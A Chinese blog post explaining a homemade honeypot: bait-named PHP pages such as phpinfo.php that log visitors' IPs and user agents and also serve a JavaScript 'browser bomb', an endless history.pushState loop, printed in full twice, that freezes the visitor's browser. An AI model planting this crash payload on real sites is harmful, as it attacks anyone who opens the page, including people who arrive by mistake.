来做一个简易小蜜罐

嗯今天 11.11。不想吃土刷淘宝,不想写代码。

需求

有一台主机 A,一台虚拟机 B。域名解析到了 A 上,A 反向代理到 B 上。这样,B 的 Apache Log 里的 “源 IP” 显示的全部都是 A 的,特别难于追查。

所以,就想写一个蜜罐,记录下真实的 IP 地址。

思路

恶作剧

首先想到的并不是蜜罐,而只是想做一个恶作剧:你访问,我就让你崩溃。

前一阵子有个仅仅 12 行的炸弹代码在网上疯传:

<html>
<body>
<script>
    var total="";
    for (var i=0;true;i++)
    {
        total= total+i.toString ();
        history.pushState (0,0,total);
    }
</script>
</body>
</html>

由于网站访问人群比较特殊,为了防止有人误触炸弹,我就在外面设置了个定时器,延迟几秒再触发。

好了,把它改个比较具有诱惑力的名字(例如,phpinfo.phptz.php),开始钓鱼。

真正有点用

等等,上面的扩展名是什么?PHP?对啊,有 PHP 脚本,我就可以顺带记录下来访问者的 IP 了。

于是,我们的程序变成了这样:

<html>
<head>
<title>Hello World!</title>
</head>
<?php
function getIp(){
    $ip='Unknow_IP';
    if(!empty($_SERVER['HTTP_CLIENT_IP'])){
        return is_ip($_SERVER['HTTP_CLIENT_IP'])?$_SERVER['HTTP_CLIENT_IP']:$ip;
    }elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
        return is_ip($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$ip;
    }else{
        return is_ip($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:$ip;
    }
}
function is_ip($str){
    $ip=explode('.',$str);
    for($i=0;$i<count($ip);$i++){  
        if($ip[$i]>255){  
            return false;  
        }  
    }  
    return preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/',$str);  
}
$myfile = fopen(dirname(__FILE__)."/ScannerLog.log", "a+");
$text = "[".strftime("%Y-%m-%d %X")."][".getIP()."]".$_SERVER['HTTP_USER_AGENT'] ."\n";
fwrite($myfile, $text);
fclose($myfile);
?>
<body>
<script>
setInterval(function (){
        var total="";
        for (var i=0;true;i++)
        {
                total= total+i.toString ();
                history.pushState (0,0,total);
        }
},50);
</script>
<h1>:)</h1>
<p>Everything is OK.</p>
<p>WARNING: Please Close Your Browser NOW!</p>
</body>
</html>

~~ 同样的,你可以看到,为了防止有人误触,我特意加上了警告信息。只要能及时关掉浏览器,还是可以保平安的。经测试,代码运行前几秒,浏览器还是有反应的;但是如果你一个字一个字把它读完…… 估计就离 GG 不远了。~~

我没那么好脾气……

成品

上面的代码比较长,copy 多份的话维护起来比较麻烦。于是在它外面加了一层包裹:

require_once(dirname(__FILE__)."/.honey/boomb.php");

嗯,这下只需要维护一次代码就好了。

后记

大家都以为网站里面有什么好东西,其实,除了文章,什么都没有。

做黑产的也是恶心,为了收录不惜一切。这波人…… 只能使用马克思主义光环来教育你们了……

留下评论